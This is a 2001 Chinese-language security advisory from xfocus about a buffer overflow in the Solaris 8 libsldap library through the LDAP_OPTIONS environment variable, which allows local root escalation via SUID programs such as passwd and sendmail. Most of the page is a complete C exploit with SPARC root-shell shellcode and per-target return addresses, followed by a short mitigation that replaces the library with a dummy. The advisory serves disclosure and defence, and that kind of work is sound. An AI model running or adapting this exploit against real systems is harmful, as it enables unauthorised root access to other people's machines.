xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Solaris 8 libsldap 存在缓冲溢出


发布时间:2001-06-27
更新时间:2001-06-27
严重程度:
威胁程度:本地管理员权限
错误类型:环境错误
利用方式:服务器模式

受影响系统
Solaris 8
详细描述
libsldap是实现LDAP 名字服务的库,其中在初始化代码中存在缓冲溢出,
当解析环境变量LDAP_OPTIONS时,固定长度的缓冲可用来存储任意长度
的内容。这样使用这个库的SUID程序就可能被利用,如:passwd, yppasswd,
nispasswd, sendmail, 和 chkey. 造成本地ROOT权利被获得。

测试代码
/** !!!PRIVATE!!!
** noir@gsu.linux.org.tr
** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
**
**/
  
#include <stdio.h>

#define ADJUST      1


/* anathema@hack.co.za
** Solaris/SPARC shellcode
** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
*/

char shellcode[] =
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";

struct type {
char *string;
char *path;
long retaddr;
};

struct type target[] =
      {
    { "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
    { "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
    { "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
    { "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
    { "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
    { NULL, NULL, 0 }
      };

int i;
unsigned long ret_adr;
char ldap[4000];
char egg[400];
char *envs[] = { ldap, egg, NULL };

main(int argc, char *argv[])
{

      if(!argv[1])
      {
              fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
      for(i = 0; target[i].string != NULL; i++)
      fprintf(stderr,"target#: %s\n", target[i].string);
      exit(0);
      }

  ret_adr = target[atoi(argv[1])].retaddr;

  memset(egg, 0x00, sizeof egg);
  for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
  *(long *)&egg[i] =  0xa61cc013;
  for (i= 0 ; i < strlen(shellcode); i++)
     egg[200+i]=shellcode[i];
  
for ( i = 0; i <  ADJUST; i++) ldap[i]=0x58;
for (i = ADJUST; i < 4000; i+=4)
    {
      ldap[i+3]=ret_adr & 0xff;
      ldap[i+2]=(ret_adr >> 8 ) &0xff;
      ldap[i+1]=(ret_adr >> 16 ) &0xff;
      ldap[i+0]=(ret_adr >> 24 ) &0xff;
    }
memcpy(ldap, "LDAP_OPTIONS=", 13);

ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated

execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);

}

解决方案
一个是清除有漏洞的程序。另一方法是编译假的库来代替/usr/lib/libsldap.so.1,
这会关闭LDAP功能,如:

$ cp /dev/null dummy.c
$ gcc -shared dummy.c -o dummy.so
$ su
# mv /usr/lib/libsldap.so.1 /usr/lib/orig_libsldap_so
# cp dummy.so /usr/lib/libsldap.so.1

相关信息